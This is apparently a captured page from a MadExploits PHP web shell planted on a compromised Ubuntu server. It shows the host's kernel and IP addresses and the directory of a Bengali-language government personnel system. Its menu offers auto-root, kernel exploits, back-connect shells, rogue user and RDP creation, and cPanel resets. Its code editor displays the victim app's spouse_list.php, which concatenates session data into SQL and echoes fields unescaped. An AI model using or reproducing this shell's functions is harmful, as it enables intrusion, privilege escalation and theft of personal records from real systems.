Linux 0193-eed-moe-app01 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 x86_64
Apache/2.4.52 (Ubuntu)
: 172.16.229.234 | : 3.135.207.137
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.18
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
eedpims /
spouse /
[ HOME SHELL ]
Name
Size
Permission
Action
spouse.php
3.2
KB
-rw-r--r--
spouse_editor.php
3.96
KB
-rw-r--r--
spouse_list.php
6.13
KB
-rw-r--r--
view.php
3.18
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : spouse_list.php
<?php include("../homepage/header.php"); include("../homepage/headermenu.php"); if(empty($_SESSION["username"])) { Header("Location: ../login/login.php"); } ?> <div class="container fullheight"> <div class="row"> <div class="col-md-6 col-md-offset-4"> <br/> <form name="search_frm" id="search_frm" class="form-inline"> <label>Search Key</label> <input type="text" name="field_value" id="field_value" value="<?=$_SESSION["field_value"]?>" class="form-control"> <input type="hidden" name="cmd" id="cmd" value="search_spouse" > <input type="submit" class="btn btn-primary" value="Search"> </form> </div> </div> <div class="row"> <div class="col-md-8 col-md-offset-2"> <a style="text-decoration: none" href="spouse.php?cmd=edit">স্বামী/স্ত্রীর তথ্য যোগ করুন</a></font> <div style="background-color: #ff0000;height: 2px"> </div> <br/> <table class="table table-bordered table-striped table-condensed"> <thead> <th>PIMS আইডি</th> <th>নাম (বাংলায়)</th> <th>নাম (ইংরেজিতে)</th> <th>ম্বামী/স্ত্রীর জন্মগ্রহনকারী জেলা</th> <th>ম্বামী/স্ত্রীর পেশা</th> <th>ম্বামী/স্ত্রীর কর্মস্থল ও যোগাযোগ </th> <th style="text-align: center">সংশোধন</th> <th style="text-align: center">ভিউ</th> </thead> <tbody> <?php if($_SESSION["search"]=="yes") { $val= $_SESSION["field_value"]; $whrstr = "%$val%"; } else { $whrstr = "%%"; } $rowsPerPage = 10; $pageNum = 1; if(isset($_REQUEST["page"])) { $pageNum = $_REQUEST["page"]; } $offset = ($pageNum - 1) * $rowsPerPage; $stmt = $conn->prepare("SELECT sp.id, sp.GovtId, sp.nameB, sp.nameE, d.DistrictName, sp.ocupation, sp.location FROM spouse sp LEFT JOIN district d ON(sp.district_id=d.id) WHERE sp.userinfo_id=".$_SESSION["user_id"]." AND sp.nameB LIKE ? ORDER BY sp.id DESC LIMIT ?, ?"); $stmt->bind_param("sii",$whrstr,$offset,$rowsPerPage); $stmt->execute(); $slno=0; //Result $result = $stmt->get_result(); $numrows=$result->num_rows; if($numrows==0) exit("No rows"); $slno=0; while($row = $result->fetch_assoc()) { $id = $row["id"]; $GovtId = $row["GovtId"]; $nameB = $row["nameB"]; $nameE = $row["nameE"]; $DistrictName = $row["DistrictName"]; $ocupation = $row["ocupation"]; $location = $row["location"]; ?> <tr> <td><?=$GovtId ?></td> <td><?=$nameB ?></td> <td><?=$nameE ?></td> <td><?=$DistrictName ?></td> <td><?=$ocupation ?></td> <td><?=$location ?></td> <td align="center"> <a href="spouse.php?cmd=edit&id=<?=$id?>"> <span class="glyphicon glyphicon-pencil"></span></a> </td> <td align="center"> <a href="view.php?GovtId=<?=$GovtId?>" > <span class="glyphicon glyphicon-eye-open"></span></a> </td> </tr> <?php } ?> </tbody> <thead> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th style="text-align: center"> </th> </thead> </table> <div align="center"> <?php $stmt = $conn->prepare("SELECT id FROM spouse WHERE nameB LIKE ? ORDER BY id ASC"); $stmt->bind_param("s",$whrstr); $stmt->execute(); //Result $result = $stmt->get_result(); $numrows=$result->num_rows; $maxPage = ceil($numrows/$rowsPerPage); $self = "spouse.php?cmd=list"; $nav = ""; $start = ceil($pageNum/5)*5-5+1; $end = ceil($pageNum/5)*5; if($maxPage<$end) { $end = $maxPage; } for($page = $start; $page <= $end; $page++) { if ($page == $pageNum) { $nav .= "<span class=\"page-link\"><font color=\"red\">$page</font></span>"; } else { $nav .= " <a href=\"$self&&page=$page\" class=\"page-link\">$page</a> "; } } if ($pageNum > 1) { $page = $pageNum - 1; $prev = " <a href=\"$self&&page=$page\" class=\"page-link\">Prev</a> "; $first = " <a href=\"$self&&page=1\" class=\"page-link\">[First Page]</a> "; } else { $prev = " "; $first = " "; } if ($pageNum < $maxPage) { $page = $pageNum + 1; $next = " <a href=\"$self&&page=$page\" class=\"page-link\">Next</a> "; $last = " <a href=\"$self&&page=$maxPage\" class=\"page-link\">Last Page</a> "; } else { $next = " "; $last = " "; } if($numrows>1) { echo '<nav> <ul class="pagination"> <li class="page-item">'.$first.'</li><li class="page-item">'.$prev.'</li> <li class="page-item">'.$nav .'</li> <li class="page-item">'.$next.'</li> <li class="page-item">'. $last.'</li> </ul></nav>'; } ?> </div> </div> </div> </div> <?php include("../homepage/footer.php"); ?>
Close